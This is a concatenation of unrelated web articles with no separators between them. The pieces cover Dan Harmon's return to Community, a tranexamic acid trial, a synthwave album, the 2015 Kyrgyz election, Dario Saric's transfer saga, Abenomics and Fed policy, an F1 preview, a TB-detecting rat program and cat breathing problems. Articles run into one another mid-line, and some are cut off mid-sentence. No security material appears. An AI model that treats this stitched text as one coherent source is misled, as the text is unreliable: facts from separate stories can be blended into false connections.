During that period, Harmon refrained from watching "new Community" and had no interaction with the cast. "I just assumed that everybody was having a big picnic without me and swapping stories about how hard it was when I was around," he says. Harmon later would learn that the actors, led by McHale, quietly were plotting to bring him back. "The show is in Dan's brain, and he's by far the only person that can do it," says McHale. Suggest to Harmon that his successors were all but set up to fail, and he shrugs: "It said 'no-win situation' at the top of the contract, and they signed it anyway," he says. (Port and Guarascio respond in a statement: "We enjoyed our time on Community, and we're thrilled it was picked up for a fifth season. We wish nothing but the best for the show going forward. It obviously could not be in better hands.")
[pagebreak]
In early May, Harmon got word via UTA's Gassner that Sony was entertaining the idea of asking him back. McHale reached out, too, to see whether he could have Harmon's permission to go to bat for his return. Harmon says he told his star what he had told his agent: "I'm not going to say yes to Sony so that they can go to NBC and say Dan wants to come back and have NBC dump me again. But if they can figure out what they want, I love my show, and I'm open to coming back." According to two sources, Sony execs recognized not only that the show had faltered without Harmon but also that he would be better equipped to handle a truncated season of 13 episodes. He also would bring with him McKenna, who has his respect and comedic sensibility. Ultimately, though, the determining factor for the studio -- and the primary reason NBC agreed -- was to appease McHale.
STORY: NBC Renews 'Community' for Fifth Season
"Creatively speaking at least, his return kind of seems like the television universe righting itself," says the show's former co-showrunner Neil Goldman. "Dan is Community, and Community is Dan. Greendale is some weird manifestation of whatever the hell goes on in his one-of-a-kind brain, and each of those characters represents a different element of his psyche." Back in the writers room, Harmon is fully aware -- and ridden with anxiety -- that he's opening himself up to sky-high expectations. "Dan's untouchable right now, and if he were to go: 'Screw you. You fired me. I'm moving on,' he'd be able to keep that status," says his friend and former writing partner Rob Schrab. "But the very ballsy, Dan Harmon thing to do was to say, 'I'm going to go back and see this thing through.' "
**
Harmon has been back on the job for a matter of days and already, he says, he's a week behind schedule. "The feeling is familiar and delicious," he quips, noting that his first episode will be a palate cleanser, designed to reacquaint Community viewers with the characters' humanity. "I don't mean that we tasted anything bad," he says. "I just mean that because we tasted something different, there needs to be a reset." On a personal level, he's still making sense of the unprecedented chain of events, with his emotions ping-ponging between excitement and outrage. "Have you ever had a lover that breaks up with you for a year and then doesn't really tell you why, says that they're not ready for a relationship to make you feel better about getting dumped, and then you see them on Instagram hanging out at the same restaurants?" he says, adding: "When that person comes back and says, 'I miss you, I miss the way your hair smells,' how do you react to that? There's a slight feeling of vindication, but there's also a lot of 'Screw you.' "
Two days after speaking with this reporter, he acted on the latter feeling. During a Harmontown show at Hollywood's Nerdist Theater, he compared watching season four -- which he needed to do to prepare for season five -- to "being held down and watching your family get raped on a beach." The comments didn't sit well with NBC's Greenblatt and many involved with the show. The following day, Harmon was back in mea culpa mode, writing on his Tumblr: "I really need to do this whole'saying things and thinking about other people' cycle in a different order at some point."
STORY: 'Community' Creator Dan Harmon Calls Season 4 'Unflattering,' Has Harsh Words for Studio
Asked about his recurring foot-in-mouth disease, Harmon grows serious. "I've always needed to express myself to strangers in order to feel OK about myself," he begins. But the desire -- need, even -- to air his feelings and frustrations, often at the expense of others, runs deeper: "If I'm feeling pain inside, I say what I'm feeling; and when I say it in the way that I say it, it makes people laugh, and then that makes the pain go away," he adds. "So whether it's through blogging or talking into a microphone, it's the thing that keeps me sane. I really look at it as a form of therapy."
After the latest experience, Harmon insists he has learned his lesson and won't be talking about work during Harmontown anymore, if for no other reason than he's hoping the stories about him in the coming months are focused not on controversy but on triumph. "I want to astound people with a season five that makes an unbeatable argument for a sixth season," he says. "I want the headlines to say, 'Holy crap, Dan Harmon pulled it off.' "An inexpensive generic drug that saves the lives of wounded soldiers and civilian car crash victims has now been shown to rescue women suffering hemorrhages in childbirth.
Postpartum hemorrhage, in which women bleed uncontrollably after childbirth, kills an estimated 100,000 women a year in poor and middle-income countries. The complication also forces doctors to perform emergency hysterectomies, especially when hospitals have too little blood on hand to provide transfusions.
In a major six-year trial involving over 20,000 women in 21 countries, researchers showed that tranexamic acid, a little-known blood-clotter invented in the 1950s, reduced maternal bleeding deaths by a third if it was given within three hours. It costs less than $2 a dose and does not require refrigeration.
The trial — known as Woman, short for World Maternal Antifibrinolytic — was led by doctors at the London School of Hygiene and Tropical Medicine and paid for by the Wellcome Trust, Pfizer, Britain’s health department and the Bill and Melinda Gates Foundation. Results were published in The Lancet on Wednesday.We’re big fans of retrosynth artist Confrontational here on BD, which is why we’re always happy to team up with him and bring you all some tastes from his offerings. In the past we’ve done two song premieres and one music video reveal, each just as exciting as the last. Today, however, we’re not giving you a small portion, we’re giving you the entire meal!
Below is an exclusive first listen to Confrontational’s upcoming album Kingdom of Night, which comes out October 1st. The album features guest appearances from Cody Carpenter (John Carpenter), Hélène De Thoury (Hante), Tony Kim (Dance With the Dead), and Ugo Laurenti (Trafficarte).
You can pre-order the album via Bandcamp.
KINGDOM OF NIGHT by CONFRONTATIONAL
The tracks on ‘Kingdom of Night’ (the second entry in a trilogy that started with ‘A Dance With Shadows’) are sounding darker, deeper and heavier than ever before. There was a deliberate focus on trying to create some classic anthems in the songwriting process – tracks with relentless beats, an emphasis on melody and a really driving chorus. The lyrics are quite representative of the whole album as well – a reaction to the fear, isolation and disconnection of this day and age… with hope looming somewhere in the distance. I was heavily influenced by my hometown of Cagliari, Sardinia, and its esoteric aura can be felt strongly throughout the LP in more than one way. I have been working very closely on the artwork with Branca Studio, and I could not be happier with the results. The new collaborations make me extremely proud of the release: the unmistakable lead synth of the amazing Cody Carpenter is coming back with a vengeance on “Crimson Curtains”, there’s the cinematic melancholia of Ugo Laurenti (the Italian composer who scored Pupi Avati’s ‘Nocturnal Voices’ – a huge personal inspiration) on “Midnight Wings”, and then the beautiful, haunting voice of Hélène De Thoury (of French cold-wave act Hante) on “Keep Faith”, which marks an emotional highlight on the album. The epic sound stones of the late Sardinian sculptor Pinuccio Sciola also make a special appearance on the tracklisting.
Confrontational online:
Official Website
Twitter
Facebook
Soundcloud
Instagram
BandcampA man gives his fingerprints at a polling station during Kyrgyz parliamentary elections in the village of Kara-Zhigach, outside Bishkek, on October 4, 2015 (AFP Photo/Vyacheslav Oseledko)
The Social Democratic Party of Kyrgyzstan, linked to pro-Moscow President Almazbek Atambayev, came out on top at Sunday's parliamentary election in the ex-Soviet state, with five other pro-Russian parties also winning seats.
Results released by the country's Central Electoral Commission showed the SDPK, founded by Atambayev, won the hard-fought poll with close to 27 percent of the vote.
In second place was the nationalist Respublika-Ata-Jurt party at just over 20 percent.
Most of the parties competing in the election appeared to be alliances of convenience, targeting a regionally divided electorate without clear political platforms.
Since no party won a majority, a pro-Russia coalition government will be formed, presaging a continuation of the in-fighting that saw four cabinets collapse in the five years of the last session.
Any new government will be forced to address an economy battered by growing inflation at home and shrinking remittances from hundreds of thousands of nationals working in Russia.
The four other parties which passed the seven-percent barrier required for parliamentary representation in the Central Asian nation were also pro-Russian parties.
The Kyrgyzstan party garnered over 12 percent while Onuguu-Progress, Bir Bol and Ata-Meken all won less than 10 percent each.
The six that made it into the new parliament were spearheaded by candidates from the outgoing legislature, although Bir Bol, Onuguu-Progress and Kyrgyzstan did not compete as parties in the 2010 election.
- 'More intrigue and corruption' -
Majority Muslim Kyrgyzstan's relatively strong parliament and civil society make it an outlier in authoritarian Central Asia, a landlocked region synonymous with ageing dictators and terrible human rights records.
But the vote is unlikely to alter the strongly pro-Russian foreign policy endorsed by all the parties competing, or ease the serious economic and security challenges the country of six million faces.
On a warm autumn day in the capital Bishkek, voters stressed the need for stability and national harmony, five years after a bloody revolution and ethnic violence that claimed over 500 lives.
"I am for the Ata-Meken party because this party has a strong leader who does not divide the country into north and south," Abdyrahman Abdyrahman uulu, a pensioner told AFP.
"I am voting for SDPK. It is the strongest party," said Yulia Zakharchenko, a 36-year-old nurse, adding that "whoever wins, it will be five more years of intrigue and corruption."
Critics of the government accuse it of turning a blind eye to economic problems and warn of risks of Islamic radicalisation.
The International Crisis Group last week released a gloomy report describing Kyrgyzstan as troubled by economic pain in Russia and instability in Afghanistan.
These risks are "exacerbated by leadership failure to address major economic and political problems, including corruption and excessive Kyrgyz nationalism," the report said.
- Biometric data -
Sunday's election was the first time Kyrgyzstan voters have been required to submit biometric data to cast their ballots, fuelling fears that polling stations would be overwhelmed by the introduction of the new technology.
But while some people complained of delays in the vote-casting process and others could not find their names on the voter rolls, the government hailed the process as having minimised opportunities for the kind of electoral fraud widespread at previous elections.
"Our country has achieved something special. We showed the world we can hold elections in the same way a modern developed democracy can," Kyrgyz political analyst Marat Kazakpayev told AFP.
Yet Kazakpaev expressed disappointment about the make-up of the new parliament.
"Of course there are not enough young people (in parliament). The old corrupted elite has kept power, which is very sad."
Kyrgyzstan has sounded the alarm over the danger posed to the country, and the wider region, by the Islamic State group in Iraq and Syria, where hundreds of its citizens have reportedly gone to fight.
The Organisation of Security and Cooperation in Europe sent a mission of over 300 observers to monitor the Kyrgyz ballot.
The mission will deliver its verdict on the vote on Monday.Inventory deleted_user_27's View Spoiler Text Card List
View Please consider subscribing to a premium account, which provides useful features and removes ads. Please consider subscribing to a premium account, which provides useful features and removes ads. View More Details Remove ads Name Rules Text Type Type Line Is Foil Is Signed Is Misprint Is Altered Is Artist Proof Language No Language Set Condition No Condition Set Edition Owned Edition Printed In No Edition Set Format Price Rarity Color Number of Colors Cost Apply Filters Add More Filters Clear All Columns 0 total results Page 1 of 1 There are no cards in this set. (yet) ;) 0 total results Page 1 of 1 Please consider subscribing to a premium account, which provides useful features and removes ads. Please consider subscribing to a premium account, which provides useful features and removes ads. View More Details Remove adsPhoto via Brad Penner-USA TODAY Sports
For the last two years, Dario Saric--the 20-year-old Croatian basketball prodigy, 12th overall pick in the 2014 NBA Draft, and future Philadelphia 76er--has been embroiled in a bizarre saga highlighted by a yearlong fallout with his father, the firing of his agent, the unclear influence of a Croatian businessman most famous for organizing the homecoming welcome for two Croatian generals released from the Hague, state investigations into the suspicious lease of a Zagreb nightclub, and embezzled government money funneled to a private security company with an amazingly weird YouTube slideshow of ski-masked training exercises soundtracked by Notorious B.I.G.'s "Party and Bullshit."
At the age of 18, Dario Saric was already being discussed in the same breath as Croatian legends Toni Kukoc and the late Drazen Petrovic when he opted to leave the Croatian club KK Zagreb in July of 2012 to sign a 5-year contract with Bilbao Basket of Spain. However, Zagreb stunned both Bilbao and Saric when it demanded a transfer fee of €1 million, a nearly unthinkable sum in the economy of European basketball. The exorbitant price forced FIBA to step into the negotiation and set what it deemed a fair price of €550,000 to purchase the Croatian phenom from Zagreb. But even that was too much for Bilbao, and the club's deal with Saric was abandoned, leaving the most promising young player on the continent stuck without a club, effectively barred from playing professional basketball.
Saric's camp had reportedly expected a ruling in the €200,000 range, as Dario's father Predrag told a Spanish outlet, "I don't know who can pay that [€550,000], maybe CSKA [Moscow], Barcelona, or Real Madrid." Basically, Saric had to convince one of the three or four best clubs in Europe--clubs that tend to avoid young players, even a supremely talented 6'10'' point forward like Saric—to buy him at the last minute.
Yet, two months later, on November 28, 2012, Saric signed a 4-year contract to join Zagreb's crosstown rival KK Cibona—an up-and-down Croatian club with little success in greater European competition—which had mysteriously found the cash to pay the expensive fee.
Reports found throughout Croatian media from the press event in which Cibona announced the signing describe a typical "hold up the jersey and smile" sort of affair. Saric discusses how he's always been inclined towards Cibona after growing up in Sibenik, the same hometown as Petrovic, who became such a hero at Cibona that the team now plays its home games in the Drazen Petrovic Basketball Hall. Saric also talks about his plan to go the NBA in two or three seasons and his relief to finally get back on the court after the lengthy negotiation. Then, in one quote, he rather oddly says, "Fortunately, no one forced me to do anything … the decision to play for Cibona is totally mine."
Emphasizing one's own agency to make decisions is a curious thing to say at a celebratory PR event, especially for a budding superstar. And while it's unclear to what or whom exactly Saric was referring, almost every article briefly notes that his €550,000 transfer fee was paid not by the club, but by a third party, Josip Klemm of Klemm Security, who is a visible presence with Saric and the club president at the podium.
Klemm, second from left, at Saric's introductory press conference at Cibona. Photo via Albaliga
A powerful figure in Croatia, Klemm served in the Croatian war for independence in the 1990s and later became president of the Special Police Association. In 2003, he started Klemm Security, a private security firm that saw its annual revenue skyrocket from €2.9 million in 2008 to €10.5 million in 2012. Armed with new financial power, Klemm became widely known in Croatia in November of 2012 when he organized support for the homecoming of Ante Gotovina and Mladen Markac, two Croatian generals who won their appeals of war crimes convictions and were released from the Hague just two weeks before Saric's signing with Cibona. (It's worth noting that there was widespread support for the generals throughout Croatia due to their role in winning a brutal war for independence. So much so that the two biggest Croatian soccer clubs even played an exhibition to raise money for their cause.).
Since then, Klemm's business portfolio has spread into other areas, including investment in a large-scale thermal energy project and, apparently, basketball speculation.
Klemm has no background in basketball or any sport of any kind. He's not even a fan of Cibona, saying his loyalty is "only Croatian." As for his involvement with Saric and the club, he told press, "I saw that there was a problem with the payment of Saric's fee and I wanted the jewel of Croatian sports to stay in Croatia if at all possible."
A cynic might see Klemm's entry into the situation at this time as less an act of some deep-pocketed benevolent patriot, and more that of a cold opportunist looking to exploit a moment of desperation for financial gain. Whatever the case, the money lent to Cibona to pay the fee came with what Klemm openly said was the understanding that he would be repaid when Saric either went to the NBA or was sold to another club in Europe. However, the exact agreement between Klemm and Cibona remains unclear, and very few details of Saric's contract with the club have ever been released.
However, on April 1, 2014, it was reported that the Croatian state attorney was investigating the loan from Klemm to Cibona. Specifically, the investigation seemed to focus on a strange series of events in 2013 in which Cibona threw out the management of a longtime nightclub in Zagreb, claiming they didn't pay rent. Cibona put a new company in the space and posted Klemm Security out front during the "transition." It was suspected that the new company received discounted rent to somehow help repay Klemm for the Saric loan. When Saric then withdrew his name from the 2013 NBA Draft, it renewed speculation on who was actually behind his decision making.
First there was the management of Cibona, which likely included the influence of Klemm. With Saric not quite a projected top-10 pick in 2013, there may have been more money to be made if they could keep Saric in Europe while his stock rose, and then sell him later on at a higher price.
There was also Saric's agent, Robert Jablan, who openly wanted Saric to go to the NBA as soon as possible. While his motives may have been totally genuine and in Saric's best interests, it's notable that he would stand to make a sizable commission from an NBA contract.
Finally, there was Dario's father, Predrag, a former professional basketball player who once played with Petrovic at the local club in Sibenik and had managed Dario's career since he was a kid. While Predrag admitted to knowing little about the loan Cibona received to sign Dario and his son's mysterious contract, he opposed the decision to play for Cibona, had a falling out with Dario shortly after the signing, and the two stopped speaking to each other. The fight with his son was sort of an extension of Predrag's publicized fights with Jablan over the agent's encouragement of Dario leaving Europe to go to the NBA; Predrag believed his son wasn't physically ready for the super-athletic giants of the NBA. The desire from Predrag was for Dario to stay in Europe for a few more years to develop, referencing the similar path to success taken by Petrovic and Kukoc. After a full year in which they cut off all communication, Dario and his father reconciled, and Dario later fired Jablan in March of 2014.
On April 16th, 2014, Saric's new agent, Misko Raznatovic, gave an interview with Draft Express in which he discusses Saric's NBA future. When asked about the perceived instability around Saric over the past couple years, Raznatovic responded:
"I really don't want to comment about the past, but I am sure that this instability is over. We talked a lot, and agreed about everything. We have our plan now and I believe that in the future everything will go accordingly. He's a special person, and I really enjoy talking with him and representing him."
Coincidentally, on the same day of that interview, Josip Klemm was arrested in Croatia for allegedly using his position as president of the Special Police Association to embezzle about €420,000 of government money into his company, Klemm Security. The transgression dated back as far as 2005, which raises the possibility that the fee to bring Saric to Cibona was partly paid with embezzled state funding.
As for the outcome of the investigation, the Croatian outlet Jutarnji reported that anonymous sources said that Klemm confessed in private and apologized for his wrongdoing. But two weeks after the arrest, when Saric tallied 23 points and 7 assists to win Cibona's first ever Adriatic League championship over Cedevita, in the stands waving a Croatian flag and congratulating Saric after the championship was Josip Klemm.
Klemm, right, holding the Croatian flag. Photo via Braniteljski.
In June of this year, Cibona sold Saric to the wealthy Turkish club Anadou Efes for the price of €900,000, which presumably squared Cibona's account with Klemm. And with Saric already having appeared to make peace with his father, hiring a new agent, entering the 2014 NBA Draft, being drafted in the lottery, and laying out his plan to come to the NBA after two seasons with Efes, the move away from Cibona would appear to signal that all of the strange circumstances around him over the last two years are now completely in the past. It's something of a happy ending, and hopefully a new beginning that could start as soon as this weekend, when Saric leads Croatia into the FIBA World Cup.
If the entire two-year history outlined above seems murky, that's because it is. The story has been well-covered in Croatia by talented journalists--some of whom specialize in investigating organized crime--so the fact that there are still so many questions is reason for concern. Soccer has already seen players controlled by mysterious third party investors, and these situations often can coincide not only with curious decision-making and general player exploitation, but they also create the conditions of ownership and debt that can push players into match-fixing, as well as other, more serious dangers. And with billions of dollars now at stake in an ever-globalizing NBA, it seems inevitable that similar murky influences from America or abroad will creep into the highest levels of professional basketball, if they haven't already.
Follow Joseph Swide on Twitter.Fuchinobe doesn't look like the kind of place where speculators have struck it rich. The commuter rail station near the Japanese capital of Tokyo is surrounded by drab apartment buildings and small single-family homes. But the neighborhood is also home to Yuka Yamamoto, 44, a star among Japan's so-called shufu toshika, or "housewife investors."
Yamamoto, a chemical laboratory worker by profession, has written about 40 books with investment tips for housewives. She makes television appearances and recently explained what she thinks about the boom that Prime Minister Shinzo Abe and Bank of Japan chief Haruhiko Kuroda have fueled with their relaxed monetary policy known as "Abenomics."
"I think Abenomics is great," says Yamamoto. The woman, wearing a white blouse and blue lacquered shoes, is pleased with herself. She said that she sold a large portion of her shares weeks ago and that she rode out the most recent mini-crash on the Tokyo Stock Exchange. After climbing by more than 80 percent since the end of November, the Nikkei index dropped more sharply in late May than it had since the 2008 Lehman Brothers bankruptcy. The wild swings have continued in June, with the Nikkei plunging 6 percent on Thursday.
Investors have also been shocked at the speed at which prices have risen and then collapsed on markets in Europe and North America recently.
The rapid changes were triggered by a man they sometimes call "Helicopter Ben" in the financial markets because he once flirted with the idea of throwing money out of a helicopter to fight the crisis. While the Bank of Japan has just announced that it intends to pump even more money into the system, US Federal Reserve Chairman Ben Bernanke wants to slowly wean the economy off the cheap money that has intoxicated investors for years. That, at least, is what many investors believe. And because activity in the markets is based primarily on expectations, stock and bond prices have fallen recently, while long-term interest rates have gone up, even though none of the major central banks has made any changes to their current, ultra-low prime lending rates. The monetary watchdogs are also continuing to buy government bonds and other securities in a big way.
No More Cash Infusions?
But investors are worried about withdrawal. They wonder whether the economies in the United States, Europe and Japan are robust enough to manage without cash infusions, or even with a somewhat reduced dosage.
When the financial crisis escalated in 2008, the Fed, the European Central Bank and other central banks began their cash therapy. Almost in lockstep, they reduced prime rates to close to zero and began buying up bonds on a large scale. To this day, the leading central banks have inflated their balance sheets with such practices to $10 trillion (7.5 trillion).
But now something is changing. "For the first time, it looks as though one country, namely the United States, is leaving the crisis behind," says Ulrich Kater, chief economist at DekaBank. "And, also for the first time, a central bank, the Fed, is showing that it is thinking about normalization."
But will it also transform the thought into action? Can it even do that without the financial markets going haywire? So far, only the US economy has stabilized to a sufficient extent that a shift in monetary policy seems conceivable. And even there, the recovery is based on cheap Fed money and could collapse if deprived of this foundation.
'A Dead-End Street at Full Speed'
Even if the experiment works in the United States, a shift in Fed policy would also bring about consequences in Europe and Asia -- for banks, governments, investors and depositors. There, too, prices could fall and yields could rise. Crisis-ridden countries could once more run into problems securing financing, and banks could be burdened with new write-offs.
"The central banks have driven into a dead-end street at full speed. They can't turn around. All they can do is slowly apply the brakes," Jochen Felsenheimer says in his assessment of the situation. The Munich native is managing director at investment management firm Xaia, something of a tamed hedge fund that operates in accordance with stringent German rules.
But the central bankers also cannot continue along the current trajectory. "The policy of cheap money inflates asset prices," says Felsenheimer. The later the normalization occurs, the more painful it will be.
And because Bernanke also knows that, the Fed chief began a very gentle withdrawal process in May. "In the next few meetings, we could take a step down in our pace of purchase," Bernanke told the US Congress last month.
The Fed currently spends $85 billion a month to buy US treasury bonds and mortgage-backed securities. This has enabled it to keep mortgage rates low and reinvigorate the real estate market. Merely a hint from Bernanke that the Fed could "take a step down" has caused 30-year mortgage rates to rise from 3.35 percent in early May to almost 4 percent recently. Rates on 10-year Treasury notes went from 1.7 to 2.1 percent. Although these numbers are still very low compared to historical rates, the development scares bankers like JPMorgan Chase Chairman Jamie Dimon, who said last week that while normalization is a good thing, it's also "going to be scary."
Bernanke is familiar with these fears, which is why he added that a restriction on bond purchases is not automatically the end of a relaxed monetary policy. It was his way of bringing calm to the markets while preparing them for harsher policies in the future.Lewis Hamilton says he needs to “get back on it” in Formula 1 qualifying ahead of this weekend’s Austrian Grand Prix after crashing in Q3 during the European race last time out.
Prior to the event in Baku, Hamilton had cut Nico Rosberg’s championship lead from 43 points to nine, in just three races.
But Hamilton’s low-key race in Azerbaijan, which was compounded by an engine setting problem, turned out to be doubly disappointing for the world champion as Rosberg romped to an easy win, and the German driver now leads Hamilton by 24 points.
Hamilton has identified pole position as a key factor that will determine the outcome of this weekend’s race, as he feels overtaking is “tough” at the Red Bull Ring.
He said: “We've got an old school track there in Spielberg. It's fast, with a good flow to it. It's tough to overtake but there are places you can try something different so that's a good challenge.
“It's definitely a big advantage starting up front there, though, so I need to get back on it in qualifying and do a better job than last time out.”
Hamilton was also keen to put the events of the European Grand Prix behind him as he acknowledged the points gained from his fifth place finish could still be valuable in the title fight later in the season.
He said: “Baku started out great but, clearly, it just wasn't meant to be that weekend. It's a shame I wasn't really in the race - but there's no point talking about 'ifs' and 'buts'. It's one to put behind me, take the positives in terms points on the board and move on.”
Since the Austrian event returned to the calendar two years ago, Rosberg has won both races and he is already wary of the threat from Williams this weekend. The British team took pole with Felipe Massa in 2014 and has had a driver finish on the podium in both of the two recent races at Spielberg.
Rosberg said: “It'll be tough against the Williams cars in particular, as they've pushed us hard there before. But I think our Silver Arrow is still definitely the best package on the grid and I can't wait to see what it can do in Spielberg.
“To have two wins from two races at any track is pretty special, so if I could make it three in three that would be awesome.”
Mercedes motorsport boss, Toto Wolff, says his team also needs to be wary of the threat from Force India, which has scored two podiums in three races thanks to Sergio Perez, as well as Williams, Ferrari and the resurgent Red Bull squad.
He said: “We need every weapon at our disposal operating at maximum capacity to fight off the opposition at the front, who are growing in number.
“Force India have been very strong recently, |
Tribunal for underfunding child health and welfare services on reserves. By appointing Jane Philpott to the new post of Minister of Indigenous Services while renaming Carolyn Bennett’s portfolio Crown-Indigenous Relations, the prime minister is signalling that aboriginal issues remain a priority. But his decision also shows that he has adopted at least some the logic used by the 1996 royal commission. It recommended that what was then called the Indian and Northern Affairs department be split in two with one half handling social services and the other concentrating on renegotiating aboriginal relationships with the Crown. It also recommended scrapping the Indian Act, which has defined Indigenous-Crown relations since 1876. Trudeau says he will do that too in order to replace it with something less intrusive. Trudeau has long talked, in a rather vague way, of renewing Canada’s relationship with Indigenous people and of doing so on a nation-to-nation basis. But until now, he has never hewed so explicitly to the interesting and very specific recommendations of the long-ignored royal commission on Aboriginal Peoples.
Read more about:MAPUTO, Mozambique—On a recent Friday morning, at a laboratory in southern Africa, Tariq correctly identified all six spit samples known to be positive for tuberculosis, the world's second most fatal infectious disease.
Tariq is no scientist, though. He's a lab rat—an African giant pouched rat, to be exact. Every weekday, the trained rodent and eight of his brethren take turns in a glass-sided cage at Eduardo Mondlane University's College of Veterinary Medicine.
Underneath the cage floor, a removable tray with ten samples of human mucus is inserted. Tariq walks the length of the cage, scratching the floor when he suspects that a sample is positive for tuberculosis, an airborne bacterial disease.
He works rapidly, taking only eight minutes to get through five trays containing a total of 50 samples. "Rats are very fast," said his trainer, Catia Souto, adding that one rat can evaluate more samples in ten minutes than a lab technician can evaluate in a day. (Related: "5 Animals With Spectacular Sniffers.")
Training rats to detect TB is a relatively new endeavor for APOPO, the Belgian nonprofit organization that's best known for using rats to find land mines. APOPO began using TB rats in Tanzania in 2008 and in Mozambique in 2013. Currently, the animals work in 21 medical centers in Dar es Salaam, Tanzania's capital, and double-check 75 percent of potential TB samples from medical centers in the Mozambique capital of Maputo.
Like the battle against land mines, the fight against TB—which claimed 480,000 lives in Africa in 2012, 58,000 of them in Mozambique, according to the World Health Organization—is badly in need of an innovative, rapid, and affordable detection technique. (Read "War on Disease—Challenges for Humanity.")
"We know that we need a new approach in the diagnosis of TB, so this could be one of the approaches," said Gaël Claquin, a TB/HIV specialist in Mozambique who is not directly involved in the APOPO project.
And so far, rats seem to be a promising solution: In the first 16 months of the Maputo program, the rats evaluated samples from roughly 12,500 patients. Of those, 1,700 had been found positive at the health clinics. The rats detected another 764 patients, an increase in detection rate of around 44 percent, according to APOPO.
Missed Cases
Like many developing countries, Mozambique relies on a TB detection technique that's more than a century old.
Trained lab technicians use microscopes to look at mucus, or sputum, samples of potentially infected patients to see if TB bacteria are present.
The accuracy of the technique depends on the performance of the lab technicians and the state of the equipment.
In Mozambique, more than half the cases are missed, said Claquin, a former national program officer for TB at the World Health Organization (WHO) Mozambique. It's these cases that Tariq and his eight rodent buddies are tasked with finding.
Lab technicians can make mistakes, said APOPO rat trainer Lila Denis
"People can die because of that. So we check [the sample] again to see if it is positive or negative."
View Images Trainer Onesia Nhampara rewards Maria for identifying TB in a mucus sample at APOPO's lab in Maputo, Mozambique. Photograph by James Pursey, APOPO
How It Works
After undergoing nine months of training in Morogoro, Tanzania, where APOPO is headquartered, the rats are put to work in the capital cities of Maputo or Dar es Salaam. In Maputo, Emilio Valverde, manager of the APOPO Mozambique TB Program, is in charge.
"What the rats are trained to do is associate the smell of TB with a reward, so it's what they call operative conditioning," Valverde said.
It is the same principle applied to detecting land mines, only the rats are trained to recognize the scent of specific molecules that reflect the presence of the tuberculosis germ—not the explosive vapor associated with land mines.
To keep the animals motivated, positive samples are mixed in with the unknown samples. When the rat alerts by scratching at a known sample, a buzzer is sounded and the rat is rewarded with a treat.
Any suspect samples are triple-checked, and if found to be positive, they're reported back to the clinics.
Each rat costs around $6,700 to $8,000 to train, but relatively little to maintain over their six-to-eight-year life span, said Valverde. In comparison, the new rapid diagnostic test GeneXpert costs $17,000 per device and between almost $10 and $17 per test.
Rodent Drawbacks
Smelling out sickness is becoming more popular, explained Stewart Reid, with the Centre for Infectious Disease Research in Zambia.
While APOPO is the only organization he knows of using rats to sniff out TB, there has been preliminary research using honeybees or even electronic instruments—like an e-nose—to detect TB. Research has also indicated that dogs have an ability to detect cancer through smell.
Ivan Manhiça, with the Mozambique Ministry of Health, appreciates the rats' contribution to TB detection and clearly sees the advantages of their speed and affordability.
Still, there are drawbacks. The rats cannot differentiate between TB and a drug-resistant strain of the disease, said Claquin, the specialist from Mozambique.
According to Reid, making sure the rats' training is consistent and high quality is critical, as is completing key clinical trials necessary to obtain World Health Organization endorsement.
Increasing the size of the now relatively small project would also be difficult, said Jennifer Topping, of the United Nations Development Program in Mozambique.
At present the samples are collected weekly from clinics in Maputo and brought to the rats at Eduardo Mondlane University's College of Veterinary Medicine.
If the program is expanded, the rats would presumably be housed in regional labs and hospitals. Studies would need to be conducted to see how various people would feel about this unconventional technique, said Manhiça, of the health ministry. (Related: "Rats Show Regret After Wrong Choices, Scientists Say.")
"First we have to confirm, to have evidence enough, this technique works. Then we would have to discuss the logistics, because there are some regions, some districts where people eat rats."
Rat Questions Remain
What's more, only 25 percent of the samples the rats find suspicious are found to be positive for TB, according to APOPO's Valverde.
This does not mean they are negative, he said. But for now he cannot report them as positive because a rat alone is not yet an accepted diagnostic tool. (Test your knowledge of infectious diseases.)
Even so, Valverde does not shy away from the many questions that are sure to arise if the project expands. He's excited about its potential and curious to know whether male and female rats perform differently, whether they might be able to detect latent TB or identify TB about to become active, and more.
As for Tariq and his companions, after a hard day's work, they're placed back in individual cages, where they proceed to wash their faces and get on with the ordinary task of being a rat.Dyspnea in Cats
It is unusual to see a cat pant or breathing heavy, but it does occur when a cat is having respiratory distress (dyspnea). A panting cat does not look that different from a panting dog. Often, the cat will stand or crouch with his elbows bent away from his chest and with head and neck stretched out.
There are many different reasons a cat may have abnormal breathing. This article will focus on fluid in the chest (hydrothorax) and enlarged heart (cardiomyopathy). There is an associated article on asthma and heartworm disease, which affect the lungs directly. Learn more about what to do about feline respiratory problems and cat panting, below.
What to Watch For
Labored breathing (can include shallow breathing, rapid breathing and noisy breathing)
Standing or crouching with elbows pulled away from the body, and head and neck stretched out
Loss of appetite
Lethargy or reluctance to move
Hiding
Coughing (in some cases)
Bluish or purplish gums
Primary Cause
Fluid in the chest or hydrothorax refers to the accumulation of fluid in the space between the lungs and ribs (pleural cavity). Common causes for hydrothorax include Feline Infectious Peritonitis (FIP), ruptured thoracic duct, and congestive heart failure due to cardiomyopathy.
FIP is a viral disease that the body cannot eliminate, and that causes fluid to accumulate in the chest and abdomen. Among other things, the lymphatic system collects excess fluid from throughout the body and some of the fat absorbed from the intestines. This fluid is returned to the main circulation by the thoracic thoracic duct connecting to one of the large veins near the heart. If this duct ruptures, then the fluid spills into the chest (called chylothorax), which in turn causes breathing difficulties. The duct may rupture from trauma and other less clear causes. Cardiomyopathy, or enlarged heart, often leads to congestive heart failure. This is inadequate pumping action by the heart, resulting in fluid accumulation in the chest and/or lungs.
Immediate Care
There is little to be done at home when your cat is breathing heavily and having difficulty. He needs to get to your veterinarian as soon as possible. During transport:
Minimize stress as much as possible. Transport your cat in a carrier or box so his breathing is not compromised by being held.
Veterinary Care
Diagnosis
If your cat is in distress, your veterinarian will put your cat on oxygen right away and wait for your cat to calm down. The veterinarian will then conduct a thorough physical exam, paying special attention to heart and lung sounds. Chest X-rays are often necessary.
If there is evidence of fluid accumulation in the chest, the fluid will be removed and analyzed, followed by another battery of X-rays. Blood tests will also be done. If the primary problem seems to be the heart, an electrocardiogram and possibly an echocardiogram will be recommended.
Treatment
Treatment is focused on removing fluid from the chest and preventing it from returning so that your cat can breathe easily. Fluid will initially be removed by placing a needle into the chest and manually removing as much fluid as possible. Most cats tolerate this well. Preventing the fluid from accumulating in the chest again is the difficult part, depending on the underlying cause of the breathing difficulties.
